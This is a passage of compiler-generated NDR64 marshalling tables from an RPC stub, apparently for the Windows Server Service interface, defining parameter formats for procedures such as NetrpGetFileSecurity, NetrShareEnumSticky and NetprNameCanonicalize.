FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _ADT_SECURITY_DESCRIPTOR */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag744,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag739_t __midl_frag739 =\n{ \n/* *_ADT_SECURITY_DESCRIPTOR */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag740\n};\n\nstatic const __midl_frag738_t __midl_frag738 =\n{ \n/* **_ADT_SECURITY_DESCRIPTOR */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag739\n};\n\nstatic const __midl_frag737_t __midl_frag737 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag736_t __midl_frag736 =\n{ \n/* *WCHAR */\n    { \n    /* *WCHAR */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *WCHAR */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag735_t __midl_frag735 =\n{ \n/* *WCHAR */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag736\n};\n\nstatic const __midl_frag733_t __midl_frag733 =\n{ \n/* *WCHAR */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag736\n};\n\nstatic const __midl_frag730_t __midl_frag730 =\n{ \n/* NetrpGetFileSecurity */\n    { \n    /* NetrpGetFileSecurity */      /* procedure NetrpGetFileSecurity */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ShareName */      /* parameter ShareName */\n        &__midl_frag733,\n        { \n        /* ShareName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* lpFileName */      /* parameter lpFileName */\n        &__midl_frag736,\n        { \n        /* lpFileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* RequestedInformation */      /* parameter RequestedInformation */\n        &__midl_frag737,\n        { \n        /* RequestedInformation */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* SecurityDescriptor */      /* parameter SecurityDescriptor */\n        &__midl_frag738,\n        { \n        /* SecurityDescriptor */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag928,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag728_t __midl_frag728 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 225 /* 0xe1 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag727_t __midl_frag727 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag728\n};\n\nstatic const __midl_frag726_t __midl_frag726 =\n{ \n/* NetrShareDelCommit */\n    { \n    /* NetrShareDelCommit */      /* procedure NetrShareDelCommit */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 224 /* 0xe0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ContextHandle */      /* parameter ContextHandle */\n        &__midl_frag728,\n        { \n        /* ContextHandle */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag724_t __midl_frag724 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 160 /* 0xa0 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag723_t __midl_frag723 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag724\n};\n\nstatic const __midl_frag717_t __midl_frag717 =\n{ \n/* NetrShareDelStart */\n    { \n    /* NetrShareDelStart */      /* procedure NetrShareDelStart */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag809,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* NetName */      /* parameter NetName */\n        &__midl_frag813,\n        { \n        /* NetName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Reserved */      /* parameter Reserved */\n        &__midl_frag928,\n        { \n        /* Reserved */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* ContextHandle */      /* parameter ContextHandle */\n        &__midl_frag724,\n        { \n        /* ContextHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag714_t __midl_frag714 =\n{ \n/* *DWORD */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag928\n};\n\nstatic const __midl_frag710_t __midl_frag710 =\n{ \n/* *_SHARE_ENUM_STRUCT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag235\n};\n\nstatic const __midl_frag707_t __midl_frag707 =\n{ \n/* NetrShareEnumSticky */\n    { \n    /* NetrShareEnumSticky */      /* procedure NetrShareEnumSticky */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag235,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* PreferedMaximumLength */      /* parameter PreferedMaximumLength */\n        &__midl_frag928,\n        { \n        /* PreferedMaximumLength */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* TotalEntries */      /* parameter TotalEntries */\n        &__midl_frag928,\n        { \n        /* TotalEntries */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* ResumeHandle */      /* parameter ResumeHandle */\n        &__midl_frag714,\n        { \n        /* ResumeHandle */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag697_t __midl_frag697 =\n{ \n/* NetprNameCompare */\n    { \n    /* NetprNameCompare */      /* procedure NetprNameCompare */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Name1 */      /* parameter Name1 */\n        &__midl_frag913,\n        { \n        /* Name1 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Name2 */      /* parameter Name2 */\n        &__midl_frag913,\n        { \n        /* Name2 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NameType */      /* parameter NameType */\n        &__midl_frag928,\n        { \n        /* NameType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag928,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag928,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag693_t __midl_frag693 =\n{ \n/* DWORD */\n    0xa4,    /* FC64_RANGE */\n    0x5,    /* FC64_INT32 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 64000 /* 0xfa00 */\n};\n\nstatic const __midl_frag691_t __midl_frag691 =\n{ \n/*  */\n    (NDR64_UINT32) 4 /* 0x4 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 64000 /* 0xfa00 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag690_t __midl_frag690 =\n{ \n/* *WCHAR */\n    { \n    /* *WCHAR */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *WCHAR */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag691\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag819\n    }\n};\n\nstatic const __midl_frag689_t __midl_frag689 =\n{ \n/* *WCHAR */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag690\n};\n\nstatic const __midl_frag684_t __midl_frag684 =\n{ \n/* NetprNameCanonicalize */\n    { \n    /* NetprNameCanonicalize */      /* procedure NetprNameCanonicalize */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 24 /* 0x18 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Name */      /* parameter Name */\n        &__midl_frag913,\n        { \n        /* Name */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Outbuf */      /* parameter Outbuf */\n        &__midl_frag690,\n        { \n        /* Outbuf */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* OutbufLen */      /* parameter OutbufLen */\n        &__midl_frag693,\n        { \n        /* OutbufLen */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* NameType */      /* parameter NameType */\n        &__midl_frag928,\n        { \n        /* NameType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag928,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag676_t __midl_frag676 =\n{ \n/* NetprNameValidate */\n    { \n    /* NetprNameValidate */      /* procedure NetprNameValidate */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Name */      /* parameter Name */\n        &__midl_frag913,\n        { \n        /* Name */\n       